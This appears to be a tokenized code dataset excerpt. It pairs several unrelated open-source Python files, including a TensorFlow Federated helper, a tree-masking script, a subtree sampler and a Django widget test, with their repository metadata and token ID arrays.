13, 1454, 5221, 424, 29892, 848, 5325, 297, 27138, 29889, 1524, 7076, 7295, 13, 1678, 565, 7431, 29898, 1272, 5325, 29897, 2804, 29871, 29906, 29901, 13, 4706, 12020, 8960, 703, 7439, 12654, 424, 1273, 29881, 756, 1273, 29881, 848, 2066, 29892, 881, 367, 3721, 29871, 29906, 1213, 1273, 313, 1595, 12654, 424, 29892, 7431, 29898, 1272, 5325, 4961, 13, 1678, 848, 5325, 29889, 6605, 580, 13, 13, 29937, 10554, 278, 848, 5325, 310, 1269, 5221, 424, 29889, 13, 1454, 5221, 424, 29892, 848, 5325, 297, 27138, 29889, 1524, 7076, 7295, 13, 1678, 1596, 376, 7439, 12654, 424, 613, 5221, 424, 13, 1678, 758, 9144, 29892, 1400, 9144, 353, 518, 9507, 363, 2635, 29892, 10422, 297, 848, 5325, 29962, 13, 1678, 1889, 29898, 1595, 12654, 424, 29892, 758, 9144, 29892, 758, 29892, 376, 1457, 1159, 13, 1678, 1889, 29898, 1595, 12654, 424, 29892, 1400, 9144, 29892, 1400, 29892, 376, 2490, 1159, 13, 2 ]
tensorflow_federated/python/core/impl/bindings_utils/data_conversions.py
RyanMarten/federated
1,918
44562
# Copyright 2021, The TensorFlow Federated Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Helpers for converting Python data representations for CPP bindings.""" import collections from typing import Mapping from tensorflow_federated.python.core.impl.types import placements def convert_cardinalities_dict_to_string_keyed( cardinalities: Mapping[placements.PlacementLiteral, int]) -> Mapping[str, int]: """Ensures incoming cardinalities dict is formatted correctly.""" if not isinstance(cardinalities, collections.abc.Mapping): raise TypeError('`cardinalities` must be a `Mapping`. Received a type: ' f'{type(cardinalities)}.') uri_cardinalities = {} for placement, cardinality in cardinalities.items(): if not isinstance(placement, placements.PlacementLiteral): raise TypeError('`cardinalities` must be a `Mapping` with ' '`PlacementLiteral` (e.g. `tff.CLIENTS`) keys. ' f'Received a key of type: {type(placement)}.') if not isinstance(cardinality, int): raise TypeError('`cardinalities` must be a `Mapping` with `int` values. ' f'Received a value of type: {type(cardinality)} for ' f'placement {placement}.') uri_cardinalities[placement.uri] = cardinality return uri_cardinalities
[ 1, 396, 14187, 1266, 29871, 29906, 29900, 29906, 29896, 29892, 450, 323, 6073, 17907, 7351, 630, 13189, 943, 29889, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 418, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 15945, 29908, 7658, 6774, 363, 17415, 5132, 848, 22540, 363, 315, 18009, 7868, 886, 1213, 15945, 13, 13, 5215, 16250, 13, 3166, 19229, 1053, 341, 20304, 13, 13, 3166, 26110, 29918, 29888, 2447, 630, 29889, 4691, 29889, 3221, 29889, 13699, 29889, 8768, 1053, 2174, 29883, 4110, 13, 13, 13, 1753, 3588, 29918, 7543, 979, 1907, 29918, 8977, 29918, 517, 29918, 1807, 29918, 1989, 287, 29898, 13, 1678, 21008, 1907, 29901, 341, 20304, 29961, 29886, 4620, 4110, 29889, 29925, 9552, 24938, 284, 29892, 13, 462, 965, 938, 2314, 1599, 341, 20304, 29961, 710, 29892, 938, 5387, 13, 29871, 9995, 29923, 1983, 1973, 23235, 21008, 1907, 9657, 338, 20917, 5149, 1213, 15945, 13, 29871, 565, 451, 338, 8758, 29898, 7543, 979, 1907, 29892, 16250, 29889, 10736, 29889, 15845, 1125, 13, 1678, 12020, 20948, 877, 29952, 7543, 979, 1907, 29952, 1818, 367, 263, 421, 15845, 1412, 24328, 2347, 263, 1134, 29901, 525, 13, 462, 1678, 285, 29915, 29912, 1853, 29898, 7543, 979, 1907, 29512, 1495, 13, 29871, 21333, 29918, 7543, 979, 1907, 353, 6571, 13, 29871, 363, 2174, 13561, 29892, 21008, 537, 297, 21008, 1907, 29889, 7076, 7295, 13, 1678, 565, 451, 338, 8758, 29898, 29886, 9552, 29892, 2174, 29883, 4110, 29889, 29925, 9552, 24938, 284, 1125, 13, 418, 12020, 20948, 877, 29952, 7543, 979, 1907, 29952, 1818, 367, 263, 421, 15845, 29952, 411, 525, 13, 462, 418, 525, 29952, 29925, 9552, 24938, 284, 29952, 313, 29872, 29889, 29887, 29889, 421, 29873, 600, 29889, 27205, 3919, 29903, 6348, 6611, 29889, 525, 13, 462, 418, 285, 29915, 29816, 263, 1820, 310, 1134, 29901, 426, 1853, 29898, 29886, 9552, 29512, 1495, 13, 1678, 565, 451, 338, 8758, 29898, 7543, 979, 537, 29892, 938, 1125, 13, 418, 12020, 20948, 877, 29952, 7543, 979, 1907, 29952, 1818, 367, 263, 421, 15845, 29952, 411, 421, 524, 29952, 1819, 29889, 525, 13, 462, 418, 285, 29915, 29816, 263, 995, 310, 1134, 29901, 426, 1853, 29898, 7543, 979, 537, 2915, 363, 525, 13, 462, 418, 285, 29915, 29886, 9552, 426, 29886, 9552, 1836, 1495, 13, 1678, 21333, 29918, 7543, 979, 1907, 29961, 29886, 9552, 29889, 5338, 29962, 353, 21008, 537, 13, 29871, 736, 21333, 29918, 7543, 979, 1907, 13, 2 ]
test_apps/python_app/tests/_shared/for_proc.py
Origen-SDK/o2
0
36007
<filename>test_apps/python_app/tests/_shared/for_proc.py def setenv(config_root, config_name=None, bypass_config_lookup=None): import os, inspect, pathlib, sys if bypass_config_lookup: os.environ['origen_bypass_config_lookup'] = "1" if config_name is None: config_name = inspect.stack()[1].function os.environ['origen_config_paths'] = str( config_root.joinpath(f"{config_name}.toml").absolute())
[ 1, 529, 9507, 29958, 1688, 29918, 13371, 29914, 4691, 29918, 932, 29914, 21150, 19891, 12366, 29914, 1454, 29918, 15439, 29889, 2272, 13, 1753, 731, 6272, 29898, 2917, 29918, 4632, 29892, 2295, 29918, 978, 29922, 8516, 29892, 491, 3364, 29918, 2917, 29918, 20401, 29922, 8516, 1125, 13, 1678, 1053, 2897, 29892, 16096, 29892, 2224, 1982, 29892, 10876, 13, 1678, 565, 491, 3364, 29918, 2917, 29918, 20401, 29901, 13, 4706, 2897, 29889, 21813, 1839, 272, 2101, 29918, 29890, 1478, 465, 29918, 2917, 29918, 20401, 2033, 353, 376, 29896, 29908, 13, 1678, 565, 2295, 29918, 978, 338, 6213, 29901, 13, 4706, 2295, 29918, 978, 353, 16096, 29889, 1429, 580, 29961, 29896, 1822, 2220, 13, 1678, 2897, 29889, 21813, 1839, 272, 2101, 29918, 2917, 29918, 24772, 2033, 353, 851, 29898, 13, 4706, 2295, 29918, 4632, 29889, 7122, 2084, 29898, 29888, 29908, 29912, 2917, 29918, 978, 1836, 15135, 29880, 2564, 23552, 3101, 13, 2 ]
src/pdc2/scripts/mask_tips_by_taxonID_genomes.py
jlanga/smsk_selection
4
88305
<filename>src/pdc2/scripts/mask_tips_by_taxonID_genomes.py """ Input is a dir of trees Mask monophyletic tips that belong to the same taxon Keep the tip with the shortest terminal branch lenth """ import newick3,phylo3,os,sys #if taxon id pattern changes, change it here def get_name(name): return name.split("@")[0] #smooth the kink created by prunning #to prevent creating orphaned tips after prunning twice at the same node def remove_kink(node,curroot): if node == curroot and curroot.nchildren == 2: #move the root away to an adjacent none-tip internal node if curroot.children[0].istip: #the other child is not tip curroot = phylo3.reroot(curroot,curroot.children[1]) else: #tree has >=4 leaves so the other node cannot be tip curroot = phylo3.reroot(curroot,curroot.children[0]) #---node---< all nodes should have one child only now length = node.length + (node.children[0]).length par = node.parent kink = node node = node.children[0] #parent--kink---node< par.remove_child(kink) par.add_child(node) node.length = length return node,curroot def monophyly_masking_by_bl(curroot): going = True while going and len(curroot.leaves()) >= 4: going = False for node in curroot.iternodes(): #walk through nodes if not node.istip: continue #only look at tips for sister in node.get_sisters(): if sister.istip and get_name(node.label)==get_name(sister.label): if node.length > sister.length: node = node.prune() else: node = sister.prune() if len(curroot.leaves()) >= 4: if node.nchildren==1 or (node==curroot and node.nchildren==2): node,curroot = remove_kink(node,curroot) #no kink if the original node had more than 2 children going = True break return curroot if __name__ == "__main__": if len(sys.argv) != 2: print "python mask_tips_by_taxonID_genomes.py DIR" sys.exit() DIR = sys.argv[1]+"/" filecount = 0 for i in os.listdir(DIR): if i[-3:] == ".tt": #only mask trees that have tips trimmed with open(DIR+i,"r") as infile: intree = newick3.parse(infile.readline()) print i filecount += 1 with open(DIR+i+".mm","w") as outfile: outfile.write(newick3.tostring(monophyly_masking_by_bl(intree))+";\n") if filecount == 0: print "No file name with 'best' or 'tt' or 'fasttree' found in the treDIR"
[ 1, 529, 9507, 29958, 4351, 29914, 29886, 13891, 29906, 29914, 16713, 29914, 13168, 29918, 2034, 567, 29918, 1609, 29918, 20725, 265, 1367, 29918, 1885, 290, 267, 29889, 2272, 13, 15945, 29908, 13, 4290, 338, 263, 4516, 310, 10697, 13, 13, 19832, 1601, 3021, 29891, 1026, 293, 25562, 393, 6852, 304, 278, 1021, 8818, 265, 13, 9598, 1022, 278, 6872, 411, 278, 3273, 342, 8638, 5443, 301, 9097, 13, 15945, 29908, 13, 13, 5215, 716, 860, 29941, 29892, 11461, 417, 29941, 29892, 359, 29892, 9675, 13, 13, 29937, 361, 8818, 265, 1178, 4766, 3620, 29892, 1735, 372, 1244, 13, 1753, 679, 29918, 978, 29898, 978, 1125, 13, 12, 2457, 1024, 29889, 5451, 29475, 1159, 29961, 29900, 29962, 13, 13, 29937, 3844, 6983, 278, 413, 682, 2825, 491, 544, 27389, 13, 29937, 517, 5557, 4969, 470, 16711, 287, 25562, 1156, 544, 27389, 8951, 472, 278, 1021, 2943, 13, 1753, 3349, 29918, 29895, 682, 29898, 3177, 29892, 2764, 4632, 1125, 13, 12, 361, 2943, 1275, 3151, 4632, 322, 3151, 4632, 29889, 29876, 11991, 1275, 29871, 29906, 29901, 13, 12, 12, 29937, 11631, 278, 3876, 3448, 304, 385, 20114, 5642, 29899, 12632, 7463, 2943, 13, 12, 12, 361, 3151, 4632, 29889, 11991, 29961, 29900, 1822, 391, 666, 29901, 396, 1552, 916, 2278, 338, 451, 6872, 13, 12, 12, 12, 2764, 4632, 353, 1374, 29891, 417, 29941, 29889, 8567, 327, 29898, 2764, 4632, 29892, 2764, 4632, 29889, 11991, 29961, 29896, 2314, 13, 12, 12, 2870, 29901, 396, 8336, 756, 6736, 29946, 11308, 577, 278, 916, 2943, 2609, 367, 6872, 13, 12, 12, 12, 2764, 4632, 353, 1374, 29891, 417, 29941, 29889, 8567, 327, 29898, 2764, 4632, 29892, 2764, 4632, 29889, 11991, 29961, 29900, 2314, 13, 12, 29937, 5634, 3177, 5634, 29966, 599, 7573, 881, 505, 697, 2278, 871, 1286, 13, 12, 2848, 353, 2943, 29889, 2848, 718, 313, 3177, 29889, 11991, 29961, 29900, 14664, 2848, 13, 12, 862, 353, 2943, 29889, 3560, 13, 12, 29895, 682, 353, 2943, 13, 12, 3177, 353, 2943, 29889, 11991, 29961, 29900, 29962, 13, 12, 29937, 3560, 489, 29895, 682, 5634, 3177, 29966, 13, 12, 862, 29889, 5992, 29918, 5145, 29898, 29895, 682, 29897, 13, 12, 862, 29889, 1202, 29918, 5145, 29898, 3177, 29897, 13, 12, 3177, 29889, 2848, 353, 3309, 13, 12, 2457, 2943, 29892, 2764, 4632, 13, 13, 1753, 1601, 3021, 29891, 368, 29918, 13168, 292, 29918, 1609, 29918, 2204, 29898, 2764, 4632, 1125, 13, 12, 17696, 353, 5852, 13, 12, 8000, 2675, 322, 7431, 29898, 2764, 4632, 29889, 280, 5989, 3101, 6736, 29871, 29946, 29901, 13, 12, 12, 17696, 353, 7700, 13, 12, 12, 1454, 2943, 297, 3151, 4632, 29889, 277, 824, 2631, 7295, 396, 20919, 1549, 7573, 13, 12, 12, 12, 361, 451, 2943, 29889, 391, 666, 29901, 6773, 396, 6194, 1106, 472, 25562, 13, 12, 12, 12, 1454, 9883, 297, 2943, 29889, 657, 29918, 29879, 1531, 29879, 7295, 13, 12, 12, 12, 12, 361, 9883, 29889, 391, 666, 322, 679, 29918, 978, 29898, 3177, 29889, 1643, 29897, 1360, 657, 29918, 978, 29898, 29879, 1531, 29889, 1643, 1125, 13, 12, 12, 12, 12, 12, 361, 2943, 29889, 2848, 1405, 9883, 29889, 2848, 29901, 13, 12, 12, 12, 12, 12, 12, 3177, 353, 2943, 29889, 558, 1540, 580, 12, 12, 12, 13, 12, 12, 12, 12, 12, 2870, 29901, 2943, 353, 9883, 29889, 558, 1540, 580, 13, 12, 12, 12, 12, 12, 361, 7431, 29898, 2764, 4632, 29889, 280, 5989, 3101, 6736, 29871, 29946, 29901, 13, 12, 12, 12, 12, 12, 12, 361, 2943, 29889, 29876, 11991, 1360, 29896, 470, 313, 3177, 1360, 2764, 4632, 322, 2943, 29889, 29876, 11991, 1360, 29906, 1125, 13, 12, 12, 12, 12, 12, 12, 12, 3177, 29892, 2764, 4632, 353, 3349, 29918, 29895, 682, 29898, 3177, 29892, 2764, 4632, 29897, 13, 12, 12, 12, 12, 12, 12, 12, 29937, 1217, 413, 682, 565, 278, 2441, 2943, 750, 901, 1135, 29871, 29906, 4344, 13, 12, 12, 12, 12, 12, 17696, 353, 5852, 13, 12, 12, 12, 12, 12, 8690, 13, 12, 2457, 3151, 4632, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 12, 361, 7431, 29898, 9675, 29889, 19218, 29897, 2804, 29871, 29906, 29901, 13, 12, 12, 2158, 376, 4691, 11105, 29918, 2034, 567, 29918, 1609, 29918, 20725, 265, 1367, 29918, 1885, 290, 267, 29889, 2272, 360, 8193, 29908, 13, 12, 12, 9675, 29889, 13322, 580, 13, 13, 12, 9464, 353, 10876, 29889, 19218, 29961, 29896, 10062, 29908, 12975, 13, 12, 1445, 2798, 353, 29871, 29900, 13, 12, 1454, 474, 297, 2897, 29889, 1761, 3972, 29898, 9464, 1125, 13, 12, 12, 361, 474, 14352, 29941, 17531, 1275, 11393, 698, 1115, 396, 6194, 11105, 10697, 393, 505, 25562, 17151, 2168, 13, 12, 12, 12, 2541, 1722, 29898, 9464, 29974, 29875, 1699, 29878, 1159, 408, 297, 1445, 29901, 13, 12, 12, 12, 12, 524, 929, 353, 716, 860, 29941, 29889, 5510, 29898, 262, 1445, 29889, 949, 1220, 3101, 13, 12, 12, 12, 2158, 474, 13, 12, 12, 12, 1445, 2798, 4619, 29871, 29896, 13, 12, 12, 12, 2541, 1722, 29898, 9464, 29974, 29875, 29974, 1642, 4317, 3284, 29893, 1159, 408, 714, 1445, 29901, 13, 12, 12, 12, 12, 449, 1445, 29889, 3539, 29898, 1482, 860, 29941, 29889, 517, 1807, 29898, 3712, 3021, 29891, 368, 29918, 13168, 292, 29918, 1609, 29918, 2204, 29898, 524, 929, 876, 29974, 1769, 29905, 29876, 1159, 13, 12, 12, 12, 12, 13, 12, 361, 934, 2798, 1275, 29871, 29900, 29901, 13, 12, 12, 2158, 376, 3782, 934, 1024, 411, 525, 13318, 29915, 470, 525, 698, 29915, 470, 525, 11255, 8336, 29915, 1476, 297, 278, 2578, 9464, 29908, 13, 2 ]
Python Programming/01. Primitive Types/06-numbers.py
luckyrabbit85/Python
1
62895
<filename>Python Programming/01. Primitive Types/06-numbers.py x = 1 # int print(type(x)) x = 1.1 # float print(type(x)) x = 1 + 2j # complex number print(type(x)) print(10 + 3) print(10 - 3) print(10 * 3) print(10 / 3) print(10 // 3) print(10 % 3) print(10 ** 3) x = 10 x = x + 3 x += 3 print(x)
[ 1, 529, 9507, 29958, 11980, 7835, 4056, 29914, 29900, 29896, 29889, 9724, 3321, 28025, 29914, 29900, 29953, 29899, 20326, 29889, 2272, 13, 29916, 353, 29871, 29896, 29871, 396, 938, 13, 2158, 29898, 1853, 29898, 29916, 876, 13, 13, 29916, 353, 29871, 29896, 29889, 29896, 29871, 396, 5785, 13, 2158, 29898, 1853, 29898, 29916, 876, 13, 13, 29916, 353, 29871, 29896, 718, 29871, 29906, 29926, 29871, 396, 4280, 1353, 13, 2158, 29898, 1853, 29898, 29916, 876, 13, 13, 13, 2158, 29898, 29896, 29900, 718, 29871, 29941, 29897, 13, 2158, 29898, 29896, 29900, 448, 29871, 29941, 29897, 13, 2158, 29898, 29896, 29900, 334, 29871, 29941, 29897, 13, 2158, 29898, 29896, 29900, 847, 29871, 29941, 29897, 13, 2158, 29898, 29896, 29900, 849, 29871, 29941, 29897, 13, 2158, 29898, 29896, 29900, 1273, 29871, 29941, 29897, 13, 2158, 29898, 29896, 29900, 3579, 29871, 29941, 29897, 13, 13, 29916, 353, 29871, 29896, 29900, 13, 29916, 353, 921, 718, 29871, 29941, 13, 29916, 4619, 29871, 29941, 13, 2158, 29898, 29916, 29897, 13, 2 ]
trilearn/graph/subtree_sampler.py
melmasri/trilearn
10
42190
from collections import deque import networkx as nx import numpy as np def random_subtree(T, alpha, beta, subtree_mark): """ Random subtree of T according to Algorithm X in [1]. Args: alpha (float): probability of continuing to a neighbor beta (float): probability of non empty subtree T (NetworkX graph): the tree of which the subtree is taken Returns: A subtree of T References: [1] <NAME>., <NAME>. Pavlenko Bayesian structure learning in graphical models using sequential Monte Carlo. """ # Take empty subtree with prob beta empty = np.random.multinomial(1, [beta, 1-beta]).argmax() subtree_edges = [] subtree_nodes = [] if empty == 1: separators = {} subtree = nx.Graph() return (subtree, [], [], {}, separators, 1-beta) # Take non-empty subtree n = T.order() w = 0.0 visited = set() # cliques q = deque([]) start = np.random.randint(n) # then n means new component separators = {} #start_node = T.nodes()[start] # nx < 2.x start_node = list(T.nodes())[start] # nx > 2.x q.append(start_node) subtree_adjlist = {start_node: []} while len(q) > 0: node = q.popleft() visited.add(node) subtree_nodes.append(node) #T.node[node]["subnode"] = subtree_mark for neig in T.neighbors(node): b = np.random.multinomial(1, [1-alpha, alpha]).argmax() if neig not in visited: if b == 1: subtree_edges.append((node, neig)) subtree_adjlist[node].append(neig) subtree_adjlist[neig] = [node] q.append(neig) # Add separator sep = neig & node if not sep in separators: separators[sep] = [] separators[sep].append((neig, node)) else: w += 1 # subtree = T.subgraph(subtree_nodes) # assert subtree_nodes in T.nodes() subtree = None v = len(subtree_nodes) probtree = beta * v * np.power(alpha, v-1) / np.float(n) probtree *= np.power(1-alpha, w) return (subtree, subtree_nodes, subtree_edges, subtree_adjlist, separators, probtree) def pdf(subtree, T, alpha, beta): """ Returns the probability of the subtree subtree generated by random_subtree(T, alpha, beta). Args: T (NetworkX graph): A tree subtree (NetworkX graph): a subtree of T drawn by the subtree kernel alpha (float): Subtree kernel parameter beta (float): Subtree kernel parameter Returns: float """ p = subtree.order() if p == 0: return 1.0 - beta forest = T.subgraph(set(T.nodes()) - set(subtree.nodes())) #components = nx.connected_components(forest) components = forest.connected_components() w = float(len(list(components))) v = float(subtree.order()) alpha = float(alpha) beta = float(beta) n = float(T.order()) prob = beta * v * np.power(alpha, v-1) * np.power(1-alpha, w) / n return prob
[ 1, 515, 16250, 1053, 316, 802, 13, 13, 5215, 3564, 29916, 408, 302, 29916, 13, 5215, 12655, 408, 7442, 13, 13, 13, 1753, 4036, 29918, 1491, 8336, 29898, 29911, 29892, 15595, 29892, 21762, 29892, 1014, 8336, 29918, 3502, 1125, 13, 1678, 9995, 16968, 1014, 8336, 310, 323, 5034, 304, 29068, 1060, 297, 518, 29896, 1822, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 15595, 313, 7411, 1125, 6976, 310, 3133, 292, 304, 263, 12307, 13, 4706, 21762, 313, 7411, 1125, 6976, 310, 1661, 4069, 1014, 8336, 13, 4706, 323, 313, 13724, 29990, 3983, 1125, 278, 5447, 310, 607, 278, 1014, 8336, 338, 4586, 13, 13, 1678, 16969, 29901, 13, 4706, 319, 1014, 8336, 310, 323, 13, 13, 1678, 28318, 29901, 13, 4706, 518, 29896, 29962, 529, 5813, 29958, 1696, 529, 5813, 15513, 20096, 2435, 2901, 6211, 18970, 3829, 6509, 297, 3983, 936, 4733, 773, 8617, 2556, 11240, 15021, 29889, 13, 13, 1678, 9995, 13, 1678, 396, 11190, 4069, 1014, 8336, 411, 2070, 21762, 13, 1678, 4069, 353, 7442, 29889, 8172, 29889, 4713, 262, 7615, 29898, 29896, 29892, 518, 3571, 29892, 29871, 29896, 29899, 3571, 14664, 1191, 3317, 580, 13, 1678, 1014, 8336, 29918, 287, 2710, 353, 5159, 13, 1678, 1014, 8336, 29918, 18010, 353, 5159, 13, 13, 1678, 565, 4069, 1275, 29871, 29896, 29901, 13, 4706, 2903, 4097, 353, 6571, 13, 4706, 1014, 8336, 353, 302, 29916, 29889, 9527, 580, 13, 4706, 736, 313, 1491, 8336, 29892, 19997, 19997, 24335, 2903, 4097, 29892, 29871, 29896, 29899, 3571, 29897, 13, 13, 1678, 396, 11190, 1661, 29899, 6310, 1014, 8336, 13, 1678, 302, 353, 323, 29889, 2098, 580, 13, 1678, 281, 353, 29871, 29900, 29889, 29900, 13, 1678, 16669, 353, 731, 580, 29871, 396, 9335, 1912, 13, 1678, 3855, 353, 316, 802, 4197, 2314, 13, 1678, 1369, 353, 7442, 29889, 8172, 29889, 9502, 524, 29898, 29876, 29897, 29871, 396, 769, 302, 2794, 716, 4163, 13, 1678, 2903, 4097, 353, 6571, 13, 1678, 396, 2962, 29918, 3177, 353, 323, 29889, 18010, 580, 29961, 2962, 29962, 396, 302, 29916, 529, 29871, 29906, 29889, 29916, 13, 13, 1678, 1369, 29918, 3177, 353, 1051, 29898, 29911, 29889, 18010, 3101, 29961, 2962, 29962, 396, 302, 29916, 1405, 29871, 29906, 29889, 29916, 13, 1678, 3855, 29889, 4397, 29898, 2962, 29918, 3177, 29897, 13, 1678, 1014, 8336, 29918, 26859, 1761, 353, 426, 2962, 29918, 3177, 29901, 5159, 29913, 13, 1678, 1550, 7431, 29898, 29939, 29897, 1405, 29871, 29900, 29901, 13, 4706, 2943, 353, 3855, 29889, 7323, 1563, 580, 13, 4706, 16669, 29889, 1202, 29898, 3177, 29897, 13, 4706, 1014, 8336, 29918, 18010, 29889, 4397, 29898, 3177, 29897, 13, 4706, 396, 29911, 29889, 3177, 29961, 3177, 29962, 3366, 1491, 3177, 3108, 353, 1014, 8336, 29918, 3502, 13, 4706, 363, 452, 335, 297, 323, 29889, 484, 1141, 29890, 943, 29898, 3177, 1125, 13, 9651, 289, 353, 7442, 29889, 8172, 29889, 4713, 262, 7615, 29898, 29896, 29892, 518, 29896, 29899, 2312, 29892, 15595, 14664, 1191, 3317, 580, 13, 9651, 565, 452, 335, 451, 297, 16669, 29901, 13, 18884, 565, 289, 1275, 29871, 29896, 29901, 13, 462, 1678, 1014, 8336, 29918, 287, 2710, 29889, 4397, 3552, 3177, 29892, 452, 335, 876, 13, 462, 1678, 1014, 8336, 29918, 26859, 1761, 29961, 3177, 1822, 4397, 29898, 484, 335, 29897, 13, 462, 1678, 1014, 8336, 29918, 26859, 1761, 29961, 484, 335, 29962, 353, 518, 3177, 29962, 13, 462, 1678, 3855, 29889, 4397, 29898, 484, 335, 29897, 13, 462, 1678, 396, 3462, 28128, 13, 462, 1678, 16345, 353, 452, 335, 669, 2943, 13, 462, 1678, 565, 451, 16345, 297, 2903, 4097, 29901, 13, 462, 4706, 2903, 4097, 29961, 19570, 29962, 353, 5159, 13, 462, 1678, 2903, 4097, 29961, 19570, 1822, 4397, 3552, 484, 335, 29892, 2943, 876, 13, 18884, 1683, 29901, 13, 462, 1678, 281, 4619, 29871, 29896, 13, 13, 1678, 396, 1014, 8336, 353, 323, 29889, 1491, 4262, 29898, 1491, 8336, 29918, 18010, 29897, 13, 1678, 396, 4974, 1014, 8336, 29918, 18010, 297, 323, 29889, 18010, 580, 13, 13, 1678, 1014, 8336, 353, 6213, 13, 1678, 325, 353, 7431, 29898, 1491, 8336, 29918, 18010, 29897, 13, 1678, 2070, 8336, 353, 21762, 334, 325, 334, 7442, 29889, 13519, 29898, 2312, 29892, 325, 29899, 29896, 29897, 847, 7442, 29889, 7411, 29898, 29876, 29897, 13, 1678, 2070, 8336, 334, 29922, 7442, 29889, 13519, 29898, 29896, 29899, 2312, 29892, 281, 29897, 13, 1678, 736, 313, 1491, 8336, 29892, 1014, 8336, 29918, 18010, 29892, 1014, 8336, 29918, 287, 2710, 29892, 1014, 8336, 29918, 26859, 1761, 29892, 2903, 4097, 29892, 2070, 8336, 29897, 13, 13, 13, 1753, 13552, 29898, 1491, 8336, 29892, 323, 29892, 15595, 29892, 21762, 1125, 13, 1678, 9995, 16969, 278, 6976, 310, 278, 1014, 8336, 1014, 8336, 5759, 491, 13, 1678, 4036, 29918, 1491, 8336, 29898, 29911, 29892, 15595, 29892, 21762, 467, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 323, 313, 13724, 29990, 3983, 1125, 319, 5447, 13, 4706, 1014, 8336, 313, 13724, 29990, 3983, 1125, 263, 1014, 8336, 310, 323, 12061, 491, 278, 1014, 8336, 8466, 13, 4706, 15595, 313, 7411, 1125, 3323, 8336, 8466, 3443, 13, 4706, 21762, 313, 7411, 1125, 3323, 8336, 8466, 3443, 13, 13, 1678, 16969, 29901, 13, 4706, 5785, 13, 1678, 9995, 13, 1678, 282, 353, 1014, 8336, 29889, 2098, 580, 13, 1678, 565, 282, 1275, 29871, 29900, 29901, 13, 4706, 736, 29871, 29896, 29889, 29900, 448, 21762, 13, 1678, 13569, 353, 323, 29889, 1491, 4262, 29898, 842, 29898, 29911, 29889, 18010, 3101, 448, 731, 29898, 1491, 8336, 29889, 18010, 22130, 13, 1678, 396, 14036, 353, 302, 29916, 29889, 18045, 29918, 14036, 29898, 1454, 342, 29897, 13, 1678, 7117, 353, 13569, 29889, 18045, 29918, 14036, 580, 13, 1678, 281, 353, 5785, 29898, 2435, 29898, 1761, 29898, 14036, 4961, 13, 1678, 325, 353, 5785, 29898, 1491, 8336, 29889, 2098, 3101, 13, 1678, 15595, 353, 5785, 29898, 2312, 29897, 13, 1678, 21762, 353, 5785, 29898, 3571, 29897, 13, 1678, 302, 353, 5785, 29898, 29911, 29889, 2098, 3101, 13, 1678, 2070, 353, 21762, 334, 325, 334, 7442, 29889, 13519, 29898, 2312, 29892, 325, 29899, 29896, 29897, 334, 7442, 29889, 13519, 29898, 29896, 29899, 2312, 29892, 281, 29897, 847, 302, 13, 1678, 736, 2070, 2 ]
lib/metrics/__init__.py
kisonho/torchmanager
0
94836
from .accuracy import Accuracy, CategoricalAccuracy, MAE, SparseCategoricalAccuracy from .conf_met import ConfusionMetrics from .iou import InstanceIoU, MeanIoU, MIoU from .metric import Metric, metric
[ 1, 515, 869, 562, 2764, 4135, 1053, 4831, 332, 4135, 29892, 315, 20440, 936, 7504, 332, 4135, 29892, 14861, 29923, 29892, 317, 5510, 29907, 20440, 936, 7504, 332, 4135, 13, 3166, 869, 5527, 29918, 2527, 1053, 10811, 3958, 10095, 10817, 13, 3166, 869, 29875, 283, 1053, 2799, 749, 29902, 29877, 29965, 29892, 16316, 29902, 29877, 29965, 29892, 341, 29902, 29877, 29965, 13, 3166, 869, 16414, 1053, 4737, 2200, 29892, 12714, 2 ]
test_project/tests/test_widgets.py
epanchee/django-autocomplete-light
0
111536
"""Test the base widget.""" from dal.widgets import Select from django import forms from django import http from django import test from django.conf.urls import url from django.core.urlresolvers import reverse from django.test.utils import override_settings from django.utils import six import mock urlpatterns = [ url( r'^test-url/$', mock.Mock(), name='test_url' ), ] @override_settings(ROOT_URLCONF='tests.test_widgets') class SelectTest(test.TestCase): # noqa """Test case for the Select widget.""" def test_widget_renders_only_selected_with_url(self): """Assert that it won't render unselected choices, if given a url.""" class Form(forms.Form): test = forms.ChoiceField( choices=[(i, 'label for %s' % i) for i in range(0, 100)], widget=Select(url=reverse('test_url')) ) form = Form(http.QueryDict('test=4')) expected = ''' <select data-autocomplete-light-url="/test-url/" id="id_test" name="test"> <option value="4" selected="selected">label for 4</option> </select> '''.strip() self.assertEquals(six.text_type(form['test'].as_widget()), expected)
